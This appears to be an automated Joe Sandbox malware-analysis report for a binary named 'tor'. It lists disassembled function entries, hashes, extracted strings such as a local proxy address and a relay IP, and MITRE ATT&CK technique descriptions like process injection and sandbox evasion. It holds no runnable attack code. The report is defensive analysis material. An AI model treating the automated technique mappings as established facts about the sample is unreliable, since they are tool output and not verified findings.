Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: k
API String ID: 1190921433-140662621
Opcode ID: 4daf2dcb95da84dded74f557cc5f838786518a5a09425c65589e66c0b0d77bc9
Instruction ID: 48fd32acd1e0978edfdca485f54df98977be7e35ac983d9d9b4d7181f9e819d1
Opcode Fuzzy Hash: 4daf2dcb95da84dded74f557cc5f838786518a5a09425c65589e66c0b0d77bc9
Instruction Fuzzy Hash: 02F0F9B0904206DFCB50EFA9C94056EBBF5BB41258F808559E8949B211D338D595DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0156DF4C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0156E96A), ref: 0156DFB8

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 0156DFA2

Strings

k, xrefs: 0156DF92

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: k
API String ID: 1190921433-140662621
Opcode ID: f956362e7522d31fb5c7fe4b3c897d3b24c9de3b03a60f930c726ebea6060d75
Instruction ID: 02b29832548fe56b46d7ac03c42dafe9fc395505607fb66750c4ecaf2a768fd1
Opcode Fuzzy Hash: f956362e7522d31fb5c7fe4b3c897d3b24c9de3b03a60f930c726ebea6060d75
Instruction Fuzzy Hash: ADF06DB5A14206DFCB40EFA9C84456EBBF5BF40308F80C819E895DB200D738D551DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 01570B0B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 01570A9E: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,01507190), ref: 01570B04

Part of subcall function 015562E9: __stack_chk_fail.LIBSSP-0 ref: 01556342

__stack_chk_fail.LIBSSP-0 ref: 01570B74

Strings

127.0.0.1:8118, xrefs: 01570B58, 01570B64
6, xrefs: 01570B50

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID: 127.0.0.1:8118$6
API String ID: 4216919130-3754659152
Opcode ID: da5ff3379cdb5e293f6c7dae8d55f9f156ab572ede6afdb9d2cb2d26075caaa1
Instruction ID: 3555ee4933cc6d3e5418f19983792fddc05d29cb7433ef3fb85992d5c7eea0b3
Opcode Fuzzy Hash: da5ff3379cdb5e293f6c7dae8d55f9f156ab572ede6afdb9d2cb2d26075caaa1
Instruction Fuzzy Hash: 18F0F6B09183499FCB50DFA9C45556EBBF4FB48254F00C92EE8989B341E3399550CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0148D174 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0148F82F), ref: 0148D1DD

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 0148D1CA

Strings

CR15, xrefs: 0148D18F

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: CR15
API String ID: 1190921433-1462964608
Opcode ID: eca2aa8cc5de3d90633e3dd7e49a1965c988c365c1aee83bfc99628701a5af3d
Instruction ID: 7f63179b340c2ae6c67677ec42e9efaade4f15fd40102e24c8d53c40742947e5
Opcode Fuzzy Hash: eca2aa8cc5de3d90633e3dd7e49a1965c988c365c1aee83bfc99628701a5af3d
Instruction Fuzzy Hash: FCF0F975E142069FCB80EFA9C88456FBBF5AF45214F80889A9894DB340D638E9418FA2

Uniqueness

Uniqueness Score: -1.00%

Function 01439510 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0143D9A8), ref: 01439579

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 01439566

Strings

CR15, xrefs: 0143952B

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: CR15
API String ID: 1190921433-1462964608
Opcode ID: b2a2d87d08e143ed87298f37a409ccb7b88b15788e9dbb920376ca2b894b0652
Instruction ID: c6ba81ee3100aa8f2caabb00ba646c44abd769958d082e3c1549ca88a18fe944
Opcode Fuzzy Hash: b2a2d87d08e143ed87298f37a409ccb7b88b15788e9dbb920376ca2b894b0652
Instruction Fuzzy Hash: 4FF06DB5A043069FCF40EFA8C48056FBBF8BF45248F40845AE894CB300D238E641CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 013ED89B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,013EDA7A), ref: 013ED904

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013ED8F1

Strings

CR15, xrefs: 013ED8B6

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: CR15
API String ID: 1190921433-1462964608
Opcode ID: 333f65889cfec41f0687d7a828f5d8a495aa78cadceb6a615763e86ced8c8114
Instruction ID: ce1d70024612cd40feb23fb12907f4bbfd9a77919939368735a5e4d6be875756
Opcode Fuzzy Hash: 333f65889cfec41f0687d7a828f5d8a495aa78cadceb6a615763e86ced8c8114
Instruction Fuzzy Hash: 61F0F974A0430A9FCB50EFA9C95456FBBF5AB44258F408459EC94DB241E638E542CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 015154EB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 015155F1

Strings

unknown, xrefs: 015155E1
, xrefs: 015155D1

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID: $unknown
API String ID: 4216919130-697205272
Opcode ID: 0afe19bcfc183da070f788776f51604656d1eba7801c6521cd50260628ee78ef
Instruction ID: 47edd986e2b3f9ee189508284dbc36c8a2404f14e09aeb9342845c418e8d4afa
Opcode Fuzzy Hash: 0afe19bcfc183da070f788776f51604656d1eba7801c6521cd50260628ee78ef
Instruction Fuzzy Hash: EBF032B4E082059BCB54DFA9C89465EBBF5FB86214F418819A894DB300E7B8D8118F82

Uniqueness

Uniqueness Score: -1.00%

Function 013DE6C9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013DE72E

Strings

<null>, xrefs: 013DE6E5
$204DFD2A2C6A0DC1FA0EACB495218E0B661704FD~204DFD2A2C6A0DC1FA0 at 77.247.181.164, xrefs: 013DE717

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID: $204DFD2A2C6A0DC1FA0EACB495218E0B661704FD~204DFD2A2C6A0DC1FA0 at 77.247.181.164$<null>
API String ID: 4216919130-551107441
Opcode ID: 4062f1be9d7d329be93fe9e0dc1d8ccd600cfce6da81f28e53339d56845df6df
Instruction ID: bebd213d4b54688c15a31c49456aac268d8c768a379f152ef0cf7840e62504fb
Opcode Fuzzy Hash: 4062f1be9d7d329be93fe9e0dc1d8ccd600cfce6da81f28e53339d56845df6df
Instruction Fuzzy Hash: ECF0B2B1D0830A9FDB54DFA8D45466EBBF4AB48218F018869E4A5AB340D778A5058F92

Uniqueness

Uniqueness Score: -1.00%

Function 01551438 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0155176B), ref: 015514B1

Strings

UNKNOWN, xrefs: 015514A1
^, xrefs: 01551485

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID: UNKNOWN$^
API String ID: 4216919130-449007563
Opcode ID: ca564c0ef6d8eb4880ec08529449665b671aea17bab36b814c91d5e376697376
Instruction ID: c92653fc9899a2f79477cfe85a10b5631ad9ba18f4231b0f95800b535249da96
Opcode Fuzzy Hash: ca564c0ef6d8eb4880ec08529449665b671aea17bab36b814c91d5e376697376
Instruction Fuzzy Hash: 19F085B0A042089BDBA0DFACC89460EBFF0FB44210F408618E894DB204C7B4E8228FC2

Uniqueness

Uniqueness Score: -1.00%

Function 0157F819 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SSL_ctrl.SSLEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015802C9), ref: 0157F850
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015802C9), ref: 0157F861

Strings

, xrefs: 0157F845

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: L_ctrl__stack_chk_fail
String ID:
API String ID: 1480423820-3916222277
Opcode ID: dd6a2d586a62f6b09a9061d689bb82fc8b30b9cede24e7a6256dbfa66ed13920
Instruction ID: 9dc0512332d57e7080e6615cf56035795a4eaf44bc1bed80adb3afac283b48d7
Opcode Fuzzy Hash: dd6a2d586a62f6b09a9061d689bb82fc8b30b9cede24e7a6256dbfa66ed13920
Instruction Fuzzy Hash: 14F0C9B4914305AFCB50DFA9D459B5EBBF4BB05314F40C858E8A49B311D378E510CF96

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
